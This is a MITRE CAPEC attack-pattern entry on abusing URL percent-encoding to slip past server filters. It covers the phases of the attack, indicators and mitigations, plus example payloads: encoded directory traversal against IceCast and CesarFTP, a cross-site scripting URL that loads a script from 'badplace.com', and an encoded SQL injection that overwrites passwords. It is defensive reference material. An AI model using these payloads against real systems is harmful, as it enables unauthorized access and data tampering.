This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE).
For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An adversary will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL.
It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The adversary could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an adversary may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).

High
High

1
Explore
[Survey web application for URLs with parameters] Using a browser, an automated tool or by inspecting the application, an adversary records all URLs that contain parameters.
Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.

2
Experiment
[Probe URLs to locate vulnerabilities] The adversary uses the URLs gathered in the "Explore" phase as a target list and tests parameters with different encodings of special characters to see how the web application will handle them.
Use URL encodings of special characters such as semi-colons, backslashes, or question marks that might be filtered out normally.
Combine the use of URL encodings with other encoding techniques such as the triple dot and escape slashes.

3
Exploit
[Inject special characters into URL parameters] Using the information gathered in the "Experiment" phase, the adversary injects special characters into the URL using URL encoding. This can lead to path traversal, cross-site scripting, SQL injection, etc.

The application should accepts and decodes URL input.
The application performs insufficient filtering/canonicalization on the URLs.

An adversary can try special characters in the URL and bypass the URL validation.
The adversary may write a script to defeat the input filtering mechanism.

If the first decoding process has left some invalid or denylisted characters, that may be a sign that the request is malicious.
Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.

Confidentiality
Read Data

Availability
Resource Consumption
Denial of Service

Confidentiality
Integrity
Availability
Execute Unauthorized Commands
Run Arbitrary Code

Confidentiality
Access Control
Authorization
Gain Privileges

Refer to the RFCs to safely decode URL.
Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.
There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).
Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.
Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.
Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)
When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.

URL Encodings in IceCast MP3 Server.
The following type of encoded string has been known traverse directories against the IceCast MP3 server9:
http://[targethost]:8000/somefile/%2E%2E/target.mp3
or using
"/%25%25/" instead of "/../".
The control character ".." can be used by an adversary to escape the document root.See also: CVE-2001-0784

Cross-Site Scripting

URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e

HTML execution:<script src="http://www.badplace.com/nasty.js"></script>
[REF-495]

SQL Injection

Original database query in the example file - "login.asp":SQLQuery = "SELECT preferences FROM logintable WHERE userid='" & Request.QueryString("userid") & "' AND password='" & Request.QueryString("password") & "';"

URL-encoded attack:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00

Executed database query:SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d';
From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html

Combined Encodings CesarFTP
Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks.
An adversary could provide a URL that included a string like
/...%5C/
This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.See also: CVE-2001-1335

CAPEC Content Team
The MITRE Corporation
2014-06-23

CAPEC Content Team
The MITRE Corporation
2017-01-09
Updated Related_Attack_Patterns

CAPEC Content Team
The MITRE Corporation
2018-07-31
Updated References

CAPEC Content Team
The MITRE Corporation
2020-07-30
Updated Example_Instances, Indicators, Mitigations

CAPEC Content Team
The MITRE Corporation
2021-06-24
Updated Related_Weaknesses

CAPEC Content Team
The MITRE Corporation
2022-02-22
Updated Description, Example_Instances, Execution_Flow, Extended_Description, Skills_Required

CAPEC Content Team
The MITRE Corporation
2022-09-29
Updated Example_Instances